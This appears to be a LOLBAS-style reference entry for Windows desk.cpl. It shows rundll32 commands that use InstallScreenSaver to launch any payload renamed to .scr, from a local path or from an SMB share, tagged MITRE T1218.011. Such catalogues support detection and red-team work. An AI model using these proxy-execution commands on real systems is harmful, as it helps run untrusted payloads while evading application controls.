.. /Desk.cpl
Star

Desktop Settings Control Panel


Paths:

Resources:
Acknowledgements:

Detection:

Execute

Launch an executable with a .scr extension by calling the InstallScreenSaver function.
rundll32.exe desk.cpl,InstallScreenSaver C:\temp\file.scr
Usecase: Launch any executable payload, as long as it uses the .scr extension.
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1218.011



Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.
rundll32.exe desk.cpl,InstallScreenSaver \\127.0.0.1\c$\temp\file.scr
Usecase: Launch any executable payload, as long as it uses the .scr extension.
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1218.011